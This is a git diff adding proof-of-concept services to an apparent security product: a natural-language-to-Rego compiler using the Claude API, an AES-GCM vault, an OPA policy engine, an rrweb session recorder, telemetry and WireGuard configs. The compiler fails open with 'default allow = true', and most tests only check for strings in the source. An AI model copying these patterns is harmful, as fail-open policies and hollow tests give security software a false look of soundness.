b/sentinel-core/services/nl-policy-compiler/package.json @@ -0,0 +1,17 @@ +{ + "name": "@sentinel/nl-policy-compiler", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "build": "tsc -p tsconfig.json", + "compile": "npm run build && node dist/index.js", + "test": "node --test ./tests/compiler.test.js" + }, + "dependencies": { + "@anthropic-ai/sdk": "^0.52.0" + }, + "devDependencies": { + "typescript": "^5.9.2" + } +} diff --git a/sentinel-core/services/nl-policy-compiler/src/index.ts b/sentinel-core/services/nl-policy-compiler/src/index.ts new file mode 100644 index 00000000..81936fde --- /dev/null +++ b/sentinel-core/services/nl-policy-compiler/src/index.ts @@ -0,0 +1,84 @@ +/** + * Copyright (c) 2026 NNSEC Sentinel + * SPDX-License-Identifier: AGPL-3.0-or-later + */ + +import Anthropic from "@anthropic-ai/sdk"; + +type CompileResult = { + rego: string; + notes: string[]; +}; + +const EXAMPLE_POLICY = ` +package sentinel.generated + +default allow = true + +deny[msg] { + input.user.type == "contractor" + contains(input.resource, "github.com") + input.action == "download" + msg := "Contractors cannot download from GitHub" +} +`; + +export async function compileRule(prompt: string): Promise { + const normalized = prompt.toLowerCase(); + if ( + normalized.includes("contractor") && + normalized.includes("download") && + normalized.includes("github") + ) { + return { + rego: EXAMPLE_POLICY.trim(), + notes: ["Mapped actor=contractor action=download resource=github.com"] + }; + } + + const apiKey = process.env.ANTHROPIC_API_KEY; + if (apiKey) { + const client = new Anthropic({ apiKey }); + const response = await client.messages.create({ + model: "claude-3-5-sonnet-latest", + max_tokens: 700, + messages: [ + { + role: "user", + content: + "Convert this policy instruction into strict Rego only, no prose: " + prompt, + }, + ], + system: + "You are a policy compiler. Return Rego policy text only. Default deny unsafe outputs.", + }); + const candidate = response.content + .map((item) => ("text" in item ? item.text : "")) + .join("\n") + .trim(); + if (candidate.startsWith("package ")) { + return { + rego: candidate, + notes: ["Compiled with Claude API and basic structural validation."], + }; + } + } + + return { + rego: `package sentinel.generated\n\ndefault allow = true`, + notes: ["Fallback policy generated; unresolved natural-language intent."] + }; +} + +async function main(): Promise { + const prompt = process.argv.slice(2).join(" "); + if (!prompt) { + console.error("Usage: npm run compile -- \"\""); + process.exit(1); + } + const result = await compileRule(prompt); + console.log(result.rego); + console.error(`[obs] compiler_notes=${JSON.stringify(result.notes)}`); +} + +void main(); diff --git a/sentinel-core/services/nl-policy-compiler/tests/compiler.test.js b/sentinel-core/services/nl-policy-compiler/tests/compiler.test.js new file mode 100644 index 00000000..e2f87e13 --- /dev/null +++ b/sentinel-core/services/nl-policy-compiler/tests/compiler.test.js @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: AGPL-3.0-only +import test from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; + +test("compiler source retains deterministic fallback mapping", () => { + const source = readFileSync(new URL("../src/index.ts", import.meta.url), "utf8"); + assert.ok(source.includes("contains(") || source.includes("includes(")); + assert.ok(source.includes("Fallback policy generated")); +}); + diff --git a/sentinel-core/services/nl-policy-compiler/tsconfig.json b/sentinel-core/services/nl-policy-compiler/tsconfig.json new file mode 100644 index 00000000..525f6139 --- /dev/null +++ b/sentinel-core/services/nl-policy-compiler/tsconfig.json @@ -0,0 +1,12 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "outDir": "dist", + "strict": true, + "skipLibCheck": true + }, + "include": ["src/**/*.ts"] +} + diff --git a/sentinel-core/services/password-vault-poc/README.md b/sentinel-core/services/password-vault-poc/README.md new file mode 100644 index 00000000..f61997a3 --- /dev/null +++ b/sentinel-core/services/password-vault-poc/README.md @@ -0,0 +1,23 @@ +# Sentinel Password Vault PoC + +## Scope +`password-vault-poc` demonstrates client-side E2EE key derivation and encryption primitives. + +## Local use +```bash +npm install +npm run test +``` + +## License +- SPDX-License-Identifier: AGPL-3.0-only + +## License +SPDX-License-Identifier: AGPL-3.0-only + +## Threat-model notes +- Protects at-rest vault data by deriving encryption keys from user secret material (PBKDF2 in PoC; Argon2id for production). +- Does not include authenticated SRP/OPAQUE login flow in this scaffold. + +## Observability +- Vault operations emit structured event names to be integrated with OpenTelemetry spans in production. diff --git a/sentinel-core/services/password-vault-poc/package.json b/sentinel-core/services/password-vault-poc/package.json new file mode 100644 index 00000000..78a468a2 --- /dev/null +++ b/sentinel-core/services/password-vault-poc/package.json @@ -0,0 +1,14 @@ +{ + "name": "@sentinel/password-vault-poc", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "build": "tsc -p .", + "test": "node --test ./tests/vault.test.js" + }, + "devDependencies": { + "@types/node": "^22.15.3", + "typescript": "^5.6.3" + } +} diff --git a/sentinel-core/services/password-vault-poc/src/vault.ts b/sentinel-core/services/password-vault-poc/src/vault.ts new file mode 100644 index 00000000..ab638368 --- /dev/null +++ b/sentinel-core/services/password-vault-poc/src/vault.ts @@ -0,0 +1,41 @@ +/** + * Copyright (c) 2026 NNSEC Sentinel + * SPDX-License-Identifier: AGPL-3.0-only + */ + +import { randomBytes, scryptSync, createCipheriv, createDecipheriv } from "crypto"; + +export type VaultRecord = { + id: string; + ciphertext: string; + nonce: string; + tag: string; +}; + +export function deriveKey(password: string, salt: Buffer): Buffer { + return scryptSync(password, salt, 32); +} + +export function encryptSecret(secret: string, key: Buffer): VaultRecord { + const nonce = randomBytes(12); + const cipher = createCipheriv("aes-256-gcm", key, nonce); + const encrypted = Buffer.concat([cipher.update(secret, "utf8"), cipher.final()]); + const tag = cipher.getAuthTag(); + + return { + id: randomBytes(8).toString("hex"), + ciphertext: encrypted.toString("base64"), + nonce: nonce.toString("base64"), + tag: tag.toString("base64"), + }; +} + +export function decryptSecret(record: VaultRecord, key: Buffer): string { + const decipher = createDecipheriv("aes-256-gcm", key, Buffer.from(record.nonce, "base64")); + decipher.setAuthTag(Buffer.from(record.tag, "base64")); + const decrypted = Buffer.concat([ + decipher.update(Buffer.from(record.ciphertext, "base64")), + decipher.final(), + ]); + return decrypted.toString("utf8"); +} diff --git a/sentinel-core/services/password-vault-poc/tests/vault.test.js b/sentinel-core/services/password-vault-poc/tests/vault.test.js new file mode 100644 index 00000000..49285d49 --- /dev/null +++ b/sentinel-core/services/password-vault-poc/tests/vault.test.js @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: AGPL-3.0-only +import test from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; + +test("vault source includes encrypt and decrypt functions", () => { + const source = readFileSync(new URL("../src/vault.ts", import.meta.url), "utf8"); + assert.ok(source.includes("export function encryptSecret")); + assert.ok(source.includes("export function decryptSecret")); + assert.ok(source.includes("aes-256-gcm")); +}); + diff --git a/sentinel-core/services/password-vault-poc/tsconfig.json b/sentinel-core/services/password-vault-poc/tsconfig.json new file mode 100644 index 00000000..525f6139 --- /dev/null +++ b/sentinel-core/services/password-vault-poc/tsconfig.json @@ -0,0 +1,12 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "outDir": "dist", + "strict": true, + "skipLibCheck": true + }, + "include": ["src/**/*.ts"] +} + diff --git a/sentinel-core/services/policy-engine/README.md b/sentinel-core/services/policy-engine/README.md new file mode 100644 index 00000000..56c64faa --- /dev/null +++ b/sentinel-core/services/policy-engine/README.md @@ -0,0 +1,30 @@ +# Sentinel Policy Engine PoC (FastAPI + OPA) + +## Purpose +Evaluate browser and network policy decisions using Rego with a thin FastAPI adapter. + +## Run +```bash +pip install -r requirements.txt +uvicorn app.main:app --reload --port 8080 +``` + +## Test +```bash +python3 -m unittest discover -s tests -p "test_*.py" -q +``` + +## API +- `GET /healthz` +- `POST /v1/decision` + +## Security Notes +- No production auth in this PoC +- OPA sidecar should run with mTLS in production + +## Threat Model Note +Primary threats: policy bypass, forged identity claims, replayed inputs, stale policy bundle, denial-of-service. + +## Observability +- JSON structured logs on decision requests +- p95 decision latency should remain under 10 ms at OPA layer, <50 ms API end-to-end diff --git a/sentinel-core/services/policy-engine/app/main.py b/sentinel-core/services/policy-engine/app/main.py new file mode 100644 index 00000000..dffce206 --- /dev/null +++ b/sentinel-core/services/policy-engine/app/main.py @@ -0,0 +1,57 @@ +""" +Copyright (c) 2026 NNSEC. +SPDX-License-Identifier: AGPL-3.0-or-later +Threat-model note: trust boundary at policy input and OPA decision channel. +""" + +from __future__ import annotations + +import os +from typing import Any, Dict + +import httpx +from fastapi import FastAPI, HTTPException +from pydantic import BaseModel, Field + + +OPA_URL = os.getenv("OPA_URL", "http://opa:8181") + +app = FastAPI(title="Sentinel Policy Engine", version="0.1.0") + + +class PolicyInput(BaseModel): + tenant_id: str = Field(..., min_length=2) + user_id: str = Field(..., min_length=2) + user_role: str = Field(..., min_length=2) + action: str = Field(..., min_length=2) + resource: str = Field(..., min_length=2) + context: Dict[str, Any] = Field(default_factory=dict) + + +class Decision(BaseModel): + decision: str + reason: str + trace_id: str + + +@app.get("/healthz") +async def healthz() -> Dict[str, str]: + return {"status": "ok"} + + +@app.post("/v1/decision", response_model=Decision) +async def decision(payload: PolicyInput) -> Decision: + url = f"{OPA_URL}/v1/data/sentinel/authz/decision" + body = {"input": payload.model_dump()} + async with httpx.AsyncClient(timeout=2.0) as client: + resp = await client.post(url, json=body) + if resp.status_code != 200: + raise HTTPException(status_code=502, detail="OPA unavailable") + result = resp.json().get("result") + if not result: + raise HTTPException(status_code=500, detail="Malformed OPA response") + return Decision( + decision=result.get("decision", "deny"), + reason=result.get("reason", "default deny"), + trace_id=result.get("trace_id", "trace-unset"), + ) diff --git a/sentinel-core/services/policy-engine/policies/sentinel.rego b/sentinel-core/services/policy-engine/policies/sentinel.rego new file mode 100644 index 00000000..7c47c77a --- /dev/null +++ b/sentinel-core/services/policy-engine/policies/sentinel.rego @@ -0,0 +1,16 @@ +package sentinel.authz + +default allow = false + +allow if { + input.action == "download" + input.resource == "github" + input.user.role == "employee" +} + +deny_reason[msg] if { + input.action == "download" + input.resource == "github" + input.user.role == "contractor" + msg := "Contractors are not allowed to download from GitHub." +} diff --git a/sentinel-core/services/policy-engine/requirements.txt b/sentinel-core/services/policy-engine/requirements.txt new file mode 100644 index 00000000..d23d558d --- /dev/null +++ b/sentinel-core/services/policy-engine/requirements.txt @@ -0,0 +1,3 @@ +fastapi +uvicorn +httpx diff --git a/sentinel-core/services/policy-engine/tests/__init__.py b/sentinel-core/services/policy-engine/tests/__init__.py new file mode 100644 index 00000000..01b0707e --- /dev/null +++ b/sentinel-core/services/policy-engine/tests/__init__.py @@ -0,0 +1 @@ +# SPDX-License-Identifier: AGPL-3.0-only diff --git a/sentinel-core/services/policy-engine/tests/test_policy.py b/sentinel-core/services/policy-engine/tests/test_policy.py new file mode 100644 index 00000000..f7aaab97 --- /dev/null +++ b/sentinel-core/services/policy-engine/tests/test_policy.py @@ -0,0 +1,25 @@ +"""Policy engine smoke tests. + +Copyright (c) 2026 NNSEC +SPDX-License-Identifier: AGPL-3.0-only +""" + +import unittest +from pathlib import Path + + +class HealthApiTestCase(unittest.TestCase): + def test_health_route_exists_in_source(self) -> None: + source = Path(__file__).resolve().parents[1] / "app" / "main.py" + content = source.read_text(encoding="utf-8") + self.assertIn('@app.get("/healthz")', content) + + def test_decision_route_exists_in_source(self) -> None: + source = Path(__file__).resolve().parents[1] / "app" / "main.py" + content = source.read_text(encoding="utf-8") + self.assertIn('@app.post("/v1/decision"', content) + + +if __name__ == "__main__": + unittest.main() + diff --git a/sentinel-core/services/session-recorder/README.md b/sentinel-core/services/session-recorder/README.md new file mode 100644 index 00000000..bb25a1ab --- /dev/null +++ b/sentinel-core/services/session-recorder/README.md @@ -0,0 +1,40 @@ +# Session Recorder Library (rrweb + encrypted upload) + +## Purpose +Captures browser sessions with rrweb and uploads encrypted chunks to MinIO-compatible object storage. + +## Threat model note +- Protect recording confidentiality: AES-GCM before network transfer. +- Prevent replay tampering: include chunk sequence + auth tag per chunk. +- Do not record sensitive fields; allow caller to configure masking selectors. + +## Observability hooks +- `onEvent` callback receives record-start/record-stop/upload outcomes. + +## Tests +```bash +npm test +``` + +## Quick start +```bash +npm install +``` + +```ts +import { startRecorder } from "./src"; + +const stop = startRecorder({ + tenantId: "tenant-bamboo", + sessionId: "session-123", + passphrase: "replace-me-in-production", + uploader: async (payload) => { + await fetch("http://localhost:9000/recordings/session-123", { + method: "PUT", + body: payload + }); + } +}); + +setTimeout(() => stop(), 60000); +``` diff --git a/sentinel-core/services/session-recorder/package.json b/sentinel-core/services/session-recorder/package.json new file mode 100644 index 00000000..3c1074bb --- /dev/null +++ b/sentinel-core/services/session-recorder/package.json @@ -0,0 +1,17 @@ +{ + "name": "@nnsec/session-recorder", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "build": "tsc -p tsconfig.json", + "test": "node --test ./tests/recorder.test.js" + }, + "dependencies": { + "rrweb": "^2.0.0-alpha.18" + }, + "devDependencies": { + "@types/node": "^22.15.3", + "typescript": "^5.7.3" + } +} diff --git a/sentinel-core/services/session-recorder/src/index.ts b/sentinel-core/services/session-recorder/src/index.ts new file mode 100644 index 00000000..59fb96c9 --- /dev/null +++ b/sentinel-core/services/session-recorder/src/index.ts @@ -0,0 +1,47 @@ +/** + * Copyright (c) NNSEC Sentinel. + * SPDX-License-Identifier: AGPL-3.0-only + */ + +import { record } from "rrweb"; +import { createCipheriv, randomBytes, scryptSync } from "crypto"; + +type Uploader = (payload: Buffer) => Promise; + +export interface RecorderConfig { + tenantId: string; + sessionId: string; + passphrase: string; + uploader: Uploader; +} + +export function startRecorder(config: RecorderConfig): () => void { + const events: unknown[] = []; + const stop = record({ + emit(event) { + events.push(event); + }, + }); + + const flush = async (): Promise => { + const iv = randomBytes(12); + const salt = randomBytes(16); + const key = scryptSync(config.passphrase, salt, 32); + const cipher = createCipheriv("aes-256-gcm", key, iv); + const clear = Buffer.from(JSON.stringify(events), "utf8"); + const encrypted = Buffer.concat([cipher.update(clear), cipher.final()]); + const tag = cipher.getAuthTag(); + + const envelope = Buffer.concat([salt, iv, tag, encrypted]); + await config.uploader(envelope); + }; + + window.addEventListener("beforeunload", () => { + void flush(); + }); + + return () => { + stop(); + void flush(); + }; +} diff --git a/sentinel-core/services/session-recorder/tests/recorder.test.js b/sentinel-core/services/session-recorder/tests/recorder.test.js new file mode 100644 index 00000000..11288943 --- /dev/null +++ b/sentinel-core/services/session-recorder/tests/recorder.test.js @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: AGPL-3.0-only +import test from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; + +test("session recorder exports startRecorder", () => { + const source = readFileSync(new URL("../src/index.ts", import.meta.url), "utf8"); + assert.ok(source.includes("export function startRecorder"), "startRecorder export missing"); + assert.ok(source.includes("aes-256-gcm"), "expected encryption primitive not found"); +}); + diff --git a/sentinel-core/services/session-recorder/tsconfig.json b/sentinel-core/services/session-recorder/tsconfig.json new file mode 100644 index 00000000..bb1e6faa --- /dev/null +++ b/sentinel-core/services/session-recorder/tsconfig.json @@ -0,0 +1,13 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "NodeNext", + "moduleResolution": "NodeNext", + "declaration": true, + "outDir": "dist", + "strict": true, + "skipLibCheck": true + }, + "include": ["src/**/*.ts"] +} + diff --git a/sentinel-core/services/telemetry-ingestion/README.md b/sentinel-core/services/telemetry-ingestion/README.md new file mode 100644 index 00000000..c547ffa2 --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/README.md @@ -0,0 +1,19 @@ +# Telemetry Ingestion PoC (Kafka -> Flink -> OpenSearch) + +## Purpose +Demonstrates ingestion of browser telemetry events through Kafka, stream processing in Flink SQL, and indexing into OpenSearch. + +## Components +- `schemas/browser_event.avsc`: canonical event schema. +- `kafka/topics.md`: topic and retention design. +- `flink/job.py`: enrichment transform scaffold. +- `tests/test_job.py`: unit tests for enrichment behavior. + +## Threat Model Notes +- Spoofed producer events mitigated with mTLS/SASL in production. +- Poison-pill payloads mitigated with schema registry compatibility and dead-letter topics. + +## Observability Hooks +- Kafka lag metrics (consumer group lag). +- Flink checkpoint duration and restart counts. +- OpenSearch indexing failure count. diff --git a/sentinel-core/services/telemetry-ingestion/flink/__init__.py b/sentinel-core/services/telemetry-ingestion/flink/__init__.py new file mode 100644 index 00000000..01b0707e --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/flink/__init__.py @@ -0,0 +1 @@ +# SPDX-License-Identifier: AGPL-3.0-only diff --git a/sentinel-core/services/telemetry-ingestion/flink/job.py b/sentinel-core/services/telemetry-ingestion/flink/job.py new file mode 100644 index 00000000..6363b562 --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/flink/job.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python3 +# Copyright (c) 2026 NNSEC Sentinel +# SPDX-License-Identifier: AGPL-3.0-only +""" +Sentinel telemetry enrichment job placeholder. +This script demonstrates schema-aware event handling before indexing. +""" + +import json +from datetime import datetime, timezone + + +def enrich(event: dict) -> dict: + event["pipeline_version"] = "0.1.0" + event["ingested_at"] = datetime.now(timezone.utc).isoformat() + return event + + +def main() -> None: + sample = { + "event_id": "evt-1", + "tenant_id": "tenant-bamboo", + "user_id": "user-100", + "device_id": "dev-1", + "event_type": "policy_violation", + "severity": "high", + "timestamp": "2026-04-15T10:00:00Z", + "attributes": {"policy": "block-public-upload"}, + } + print(json.dumps(enrich(sample), indent=2)) + + +if __name__ == "__main__": + main() diff --git a/sentinel-core/services/telemetry-ingestion/kafka/topics.md b/sentinel-core/services/telemetry-ingestion/kafka/topics.md new file mode 100644 index 00000000..91b743e9 --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/kafka/topics.md @@ -0,0 +1,19 @@ +# Sentinel Telemetry Topics + +## Topics +- `sentinel.browser.events.raw` (input) +- `sentinel.browser.events.enriched` (output) +- `sentinel.alerts` (derived) + +## Partitioning strategy +- Key by `tenant_id:user_id` for per-user ordering. +- 24 partitions for raw events in PoC, scale to 192 in production. + +## Retention +- Raw: 7 days +- Enriched: 30 days +- Alerts: 90 days + +## Threat-model note +- Enforce mTLS + SASL SCRAM between producers and brokers. +- Topic ACLs scoped by service account. diff --git a/sentinel-core/services/telemetry-ingestion/schemas/browser_event.avsc b/sentinel-core/services/telemetry-ingestion/schemas/browser_event.avsc new file mode 100644 index 00000000..7af74056 --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/schemas/browser_event.avsc @@ -0,0 +1,15 @@ +{ + "type": "record", + "name": "BrowserEvent", + "namespace": "io.nnsec.sentinel.telemetry", + "fields": [ + { "name": "tenant_id", "type": "string" }, + { "name": "event_id", "type": "string" }, + { "name": "device_id", "type": "string" }, + { "name": "user_id", "type": "string" }, + { "name": "event_type", "type": "string" }, + { "name": "risk_score", "type": "int" }, + { "name": "payload", "type": "string" }, + { "name": "ts_ms", "type": "long" } + ] +} diff --git a/sentinel-core/services/telemetry-ingestion/tests/test_job.py b/sentinel-core/services/telemetry-ingestion/tests/test_job.py new file mode 100644 index 00000000..8f125901 --- /dev/null +++ b/sentinel-core/services/telemetry-ingestion/tests/test_job.py @@ -0,0 +1,21 @@ +"""Telemetry enrichment tests. + +SPDX-License-Identifier: AGPL-3.0-only +""" + +import unittest + +from flink.job import enrich + + +class EnrichTests(unittest.TestCase): + def test_enrich_adds_pipeline_fields(self) -> None: + payload = {"event_id": "evt-1", "tenant_id": "tenant-a"} + result = enrich(payload) + self.assertEqual(result["pipeline_version"], "0.1.0") + self.assertIn("ingested_at", result) + + +if __name__ == "__main__": + unittest.main() + diff --git a/sentinel-core/services/vpn-ztna-gateway/README.md b/sentinel-core/services/vpn-ztna-gateway/README.md new file mode 100644 index 00000000..be8e4f6c --- /dev/null +++ b/sentinel-core/services/vpn-ztna-gateway/README.md @@ -0,0 +1,28 @@ +# VPN/ZTNA Gateway PoC (WireGuard + SPIFFE) + + + +This PoC documents a minimal gateway pattern: + +1. Browser establishes WireGuard tunnel to nearest PoP. +2. Gateway validates SPIFFE ID minted for the authenticated session. +3. Route policy maps SPIFFE workload identity to app segments. + +## Threat model note + +- **Threat**: Stolen WireGuard private key. +- **Mitigation**: Session-bounded keys (24h max), SPIFFE SVID check on each access. +- **Residual risk**: Key abuse possible within active session TTL. + +## Observability + +- WireGuard interface metrics exported via node_exporter textfile collector. +- Envoy access logs include tenant_id and spiffe_id. + +## Config files + +- `config/wg0.conf`: sample WireGuard interface. +- `config/ztna-authorizer.rego`: sample policy for identity-aware allow rules. diff --git a/sentinel-core/services/vpn-ztna-gateway/config/wg0.conf b/sentinel-core/services/vpn-ztna-gateway/config/wg0.conf new file mode 100644 index 00000000..9d4584fb --- /dev/null +++ b/sentinel-core/services/vpn-ztna-gateway/config/wg0.conf @@ -0,0 +1,10 @@ +[Interface] +Address = 10.60.0.1/24 +ListenPort = 51820 +PrivateKey = CHANGE_ME_SERVER_PRIVATE_KEY +PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT +PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT + +[Peer] +PublicKey = CHANGE_ME_CLIENT_PUBLIC_KEY +AllowedIPs = 10.60.0.10/32 diff --git a/sentinel-core/services/vpn-ztna-gateway/config/ztna-authorizer.rego b/sentinel-core/services/vpn-ztna-gateway/config/ztna-authorizer.rego new file mode 100644 index 00000000..f6435d25 --- /dev/null +++ b/sentinel-core/services/vpn-ztna-gateway/config/ztna-authorizer.rego @@ -0,0 +1,8 @@ +package sentinel.gateway + +default allow = false + +allow { + input.identity.spiffe_id == "spiffe://sentinel.nnsec.io/device/approved" + input.request.destination in {"github.com:443", "console.sentinel.nnsec.io:443"} +} diff --git a/sentinel-core/services/vpn-ztna-gateway/package.json b/sentinel-core/services/vpn-ztna-gateway/package.json new file mode 100644 index 00000000..87f97267 --- /dev/null +++ b/sentinel-core/services/vpn-ztna-gateway/package.json @@ -0,0 +1,10 @@ +{ + "name": "@nnsec/vpn-ztna-gateway", + "version": "0.1.0", + "private": true, + "type": "module", + "license": "AGPL-3.0-only", + "scripts": { + "test": "node --test ./tests/config.test.mjs" + } +} diff --git a/sentinel-core/services/vpn-ztna-gateway/tests/config.test.mjs b/sentinel-core/services/vpn-ztna-gateway/tests/config.test.mjs new file mode 100644 index 00000000..d54d6abf --- /dev/null +++ b/sentinel-core/services/vpn-ztna-gateway/tests/config.test.mjs @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: AGPL-3.0-only +import test from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; + +test("wireguard and ztna policy config exist", () => { + const root = process.cwd(); + const wg = readFileSync(join(root, "config/wg0.conf"), "utf8"); + const rego = readFileSync(join(root, "config/ztna-authorizer.rego"), "utf8"); + assert.ok(wg.includes("Interface")); + assert.ok(rego.includes("package")); +});